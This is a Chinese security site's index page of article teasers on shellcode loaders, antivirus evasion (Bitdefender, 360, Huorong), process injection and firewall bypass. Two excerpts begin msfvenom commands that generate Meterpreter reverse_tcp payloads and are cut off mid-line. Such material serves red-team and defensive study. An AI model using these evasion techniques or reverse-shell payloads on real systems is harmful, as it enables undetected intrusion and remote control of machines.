shellcode - 第 81 | CN-SEC 中文网

程序逆向

bypass Bitdefender

首发于先知社区：https://xz.aliyun.com/t/9493前言渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析最近...

04月18日59 views评论

阅读全文

程序逆向

分离免杀loader编写

0x0前言大致思路是:客户端通过socket去链接服务器，服务器收到链接，向客户端发送shellcode，客户端接收并加载执行shellcode，这样做的好处是在代码中并没有shellcode存在，...

04月16日80 views已关闭评论

阅读全文

SecIN安全技术社区

进程注入之FunctionStomping

本篇文章为进程注入系列的第八篇文章，同样是在process-inject项目的基础上进行进一步的扩展延伸，进而掌握进程注入的各种方式，本系列预计至少会有10篇文章，涉及7种进程注入方式及一些发散扩展，...

04月16日58 views已关闭评论

阅读全文

SecIN安全技术社区

使用免费工具进行逆向和利用：第13部分

使用免费工具进行逆向和利用：第13部分原作者：Ricardo Narvaja 翻译作者：梦幻的彼岸更新日期：2022年1月21日 64位练习的解决方案今天我开始了第13部分，添加了shellco...

04月15日70 views已关闭评论

阅读全文

安全文章

分享 | GO语言shellcode免杀

文章来源：昆仑云安全上一次的go免杀，完全还是基于杀软静态层面的绕过，但是现在的静态免杀，时效性太短一但文件落地被拉特征是迟早的事情，因此在上次的免杀demo增加了一部分反沙盒的功能。具体源码的解释可...

04月15日89 views评论

阅读全文

程序逆向

简单的公鸡队样本分析

结束了，发一个今天给我的样本的简单分析，因为样本确实没有用到任何的对抗技巧，所以还是很简单的。如果不是这种很简单的马，分析过程是非常需要费时间的，这个需要了解，并不是这么轻轻松松。顺便提一下这是前同事...

04月13日41 views评论

阅读全文

安全文章

D盾防火墙防护绕过-[命令执行限制]

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与...

04月12日125 views评论

阅读全文

安全文章

Python编写loader加载shellcode免杀学习

（1）msf生成shellcode，使用base64编码。msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=...

04月11日86 views评论

阅读全文

安全文章

Go编写loader加载shellcode免杀学习

一简单实现（1）msf生成shellcode，选择输出hex格式。msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168...

04月11日152 views评论

阅读全文

程序逆向

go加壳分离免杀过国内主流杀软

点击上方蓝字关注我们✎ 阅读须知乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对...

04月10日785 views评论

阅读全文

安全文章

Charlotte：完全不会被检测到的Shellcode启动器

关于CharlotteCharlotte是一款基于C++实现的Shellcode启动器，并且完全不会被安全解决方案所检测到。工具特性截止至2021年5月13日之前，该工具的检测结果为0/26；该工具支...

04月09日88 views评论

阅读全文

安全文章

C++源码MSF 360 火绒双免杀

C++源码MSF 360 火绒双免杀01本次免杀简介：主语言C++，WIN32编程，内存注入免杀。前置知识：因为本人只会C/C++，也就顺路搞了下c的免杀，需要的知识：C/C++语言，WIN...

04月09日100 views评论

阅读全文

bypass Bitdefender

分离免杀loader编写

进程注入之FunctionStomping

使用免费工具进行逆向和利用：第13部分

分享 | GO语言shellcode免杀

简单的公鸡队样本分析

D盾防火墙防护绕过-[命令执行限制]

Python编写loader加载shellcode免杀学习

Go编写loader加载shellcode免杀学习

go加壳分离免杀过国内主流杀软

Charlotte：完全不会被检测到的Shellcode启动器

C++源码MSF 360 火绒双免杀

在线咨询

微信